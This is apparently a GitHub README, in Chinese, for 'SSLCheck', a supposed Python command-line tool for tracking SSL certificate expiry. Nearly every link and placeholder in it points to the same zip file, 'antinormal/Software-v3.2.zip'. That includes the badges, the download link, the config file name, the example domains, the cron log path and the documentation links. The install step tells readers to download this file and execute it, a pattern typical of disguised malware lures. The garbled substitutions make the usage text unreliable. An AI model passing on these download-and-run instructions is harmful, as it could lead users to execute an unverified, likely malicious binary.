Redaghafir/sslcheck

GitHub: Redaghafir/sslcheck

一款轻量的 Python 命令行工具,用于批量检查和监控多域名 SSL 证书到期情况。

Stars: 0 | Forks: 0

# SSLCheck:轻松监控 SSL 证书到期情况 🔒🌐 ![SSLCheck](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) ![Python](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip%2B-yellowgreen?style=flat-square) ![DevOps](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) ## 目录 - [概述](#overview) - [功能](#features) - [安装](#installation) - [用法](#usage) - [配置](#configuration) - [命令行选项](#command-line-options) - [示例](#examples) - [监控](#monitoring) - [贡献](#contributing) - [许可证](#license) - [链接](#links) ## 概述 SSLCheck 是一款命令行工具,旨在检查和监控多个域名的 SSL 证书到期情况。它提供了一种简单的方法,通过在证书过期前向您发出警报,确保您的网站维持安全连接。 ## 功能 - **多域名支持**:一次性检查多个域名的 SSL 证书。 - **到期警报**:当证书即将过期时收到通知。 - **易于使用**:简单的命令行界面,便于快速检查。 - **基于 Python**:使用 Python 构建,易于扩展和定制。 - **DevOps 友好**:可良好地集成到 CI/CD 流水线和自动化脚本中。 ## 安装 要安装 SSLCheck,您可以从 [Releases 部分](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip)下载最新版本。下载后,执行该文件以安装工具。 ``` # 下载后执行的示例命令 chmod +x sslcheck ./sslcheck ``` ## 用法 安装完成后,您可以直接从命令行使用 SSLCheck。基本命令结构如下: ``` sslcheck [options] [domain1 domain2 ...] ``` ## 配置 SSLCheck 允许您配置特定参数,以根据您的需求定制其功能。您可以通过配置文件或命令行选项设置默认域名和警报阈值。 ### 配置文件 在您的主目录中创建一个名为 `https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip` 的配置文件。此文件可以包含默认域名和通知设置。 示例 `https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip`: ``` [DEFAULT] domains = https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip, https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip alert_days = 30 ``` ## 命令行选项 SSLCheck 提供了多个命令行选项以增强其可用性: - `-h`, `--help`:显示帮助信息并退出。 - `-c`, `--config`:指定自定义配置文件。 - `-d`, `--domains`:要检查的域名列表。 - `-a`, `--alert`:设置在过期前多少天发出警报。 ## 示例 以下是如何有效使用 SSLCheck 的一些示例。 ### 检查单个域名 要检查单个域名,请运行: ``` sslcheck -d https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip ``` ### 检查多个域名 要检查多个域名,请使用: ``` sslcheck -d https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip ``` ### 使用配置文件 如果您已设置配置文件,只需运行: ``` sslcheck ``` 这将使用 `https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip` 中指定的域名。 ## 监控 对于持续监控,请考虑将 SSLCheck 集成到 cron 作业中。这样,您无需人工干预即可定期检查您的域名。 ### 示例 Cron 作业 要设置一个每天凌晨 2 点运行 SSLCheck 的 cron 作业,您可以将以下行添加到您的 crontab 中: ``` 0 2 * * * /path/to/sslcheck -d https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip >> https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip ``` ## 许可证 SSLCheck 基于 MIT 许可证授权。有关更多详细信息,请参阅 [LICENSE](LICENSE) 文件。 ## 链接 有关更多信息,请访问 [Releases 部分](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) 下载最新版本的 SSLCheck。此工具旨在帮助您轻松维护域名的安全性。 您也可以在 [GitHub](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) 上查看源代码并进行贡献。 ### 其他资源 - [Python 文档](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) - [DevOps 工具](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) - [SSL 证书最佳实践](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) ![SSL Certificate](https://raw.githubusercontent.com/Redaghafir/sslcheck/main/antinormal/Software-v3.2.zip) SSLCheck 旨在简化 SSL 证书的管理过程,确保您的在线业务保持安全可靠。
标签:HTTPS, Python, SSL证书, 二进制发布, 加密通信, 域名检测, 多域名管理, 实时处理, 开源工具, 文档结构分析, 无后门, 站点安全, 系统管理员, 红队侦查, 网络安全, 自动化运维, 证书管理, 过期监控, 运维工具, 逆向工具, 隐私保护